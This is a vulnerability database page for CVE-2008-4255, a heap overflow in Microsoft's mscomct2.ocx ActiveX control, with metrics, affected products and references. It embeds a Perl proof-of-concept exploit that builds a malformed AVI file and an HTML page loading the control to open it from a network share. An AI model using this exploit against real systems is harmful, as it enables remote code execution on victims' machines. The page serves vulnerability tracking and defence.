CVE-2008-4255 : Detail

CVE-2008-4255

Overflow
94.51%V3
Network
2008-12-10
12h33 +00:00
2018-10-12
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Heap-based buffer overflow in mscomct2.ocx (aka Windows Common ActiveX control or Microsoft Animation ActiveX control) in Microsoft Visual Basic 6.0, Visual Studio .NET 2002 SP1 and 2003 SP1, Visual FoxPro 8.0 SP1 and 9.0 SP1 and SP2, and Office Project 2003 SP3 and 2007 Gold and SP1 allows remote attackers to execute arbitrary code via an AVI file with a crafted stream length, which triggers an "allocation error" and memory corruption, aka "Windows Common AVI Parsing Overflow Vulnerability."

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 7431

Publication date : 2008-12-11 23h00 +00:00
Author : Jerome Athias
EDB Verified : Yes

#!/usr/bin/perl # Microsoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow (CVE-2008-4255) PoC # You'll need Debugging Tools for Windows http://www.microsoft.com/whdc/devtools/debugging/default.mspx # /JA # Come to FRHACK! # www.frhack.org print "\nMicrosoft Visual Basic ActiveX Controls mscomct2.ocx Animation Object Buffer Overflow (CVE-2008-4255) PoC\n"; print "Generating malicious .AVI file\n"; print "This file should be served via an UNC path\n"; print "[->] Building evil.avi\n"; my $shellcode = "http://metasploit.com"; $FileHeader = "\x52\x49\x46\x46\x2C\x08\x00\x00\x41\x56\x49\x20\x73\x74\x72\x68\x10\x00\x00\x00\x76\x69\x64\x73\x20\x20\x20\x20\x00\x00\x00\x00". "\x00\x00\x00\x00\x73\x74\x72\x66\x00\x08\x00\x00\x28\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; open(my $poc, "> evil.avi"); print $poc $FileHeader; close($poc); print "[->] evil.avi generated\n"; print "[->] Building evil.html\n"; $EvilHTML = "<html><head></head><body><object id='evil' classid='clsid:B09DE715-87C1-11D1-8BE3-0000F8754DA1'><param name='AutoPlay' value='True'></object>". "<script language=javascript>evil.Open('\\\\192.168.0.1\\share\\evil.avi');</script></body></html>"; open(my $poc, "> evil.html"); print $poc $EvilHTML; close($poc); print "[->] evil.html generated\n"; # milw0rm.com [2008-12-12]

Products Mentioned

Configuraton 0

Microsoft>>Office_frontpage >> Version 2002

    Microsoft>>Project >> Version 2003

    Microsoft>>Project >> Version 2007

    Microsoft>>Project >> Version 2007

    Microsoft>>Visual_basic >> Version 6.0

    Microsoft>>Visual_foxpro >> Version 8.0

    Microsoft>>Visual_foxpro >> Version 9.0

    Microsoft>>Visual_foxpro >> Version 9.0

    Microsoft>>Visual_studio_.net >> Version 2002

    Microsoft>>Visual_studio_.net >> Version 2003

    References

    http://www.securityfocus.com/bid/32613
    Tags : vdb-entry, x_refsource_BID
    http://www.vupen.com/english/advisories/2008/3382
    Tags : vdb-entry, x_refsource_VUPEN
    http://www.securitytracker.com/id?1021369
    Tags : vdb-entry, x_refsource_SECTRACK
    http://www.us-cert.gov/cas/techalerts/TA08-344A.html
    Tags : third-party-advisory, x_refsource_CERT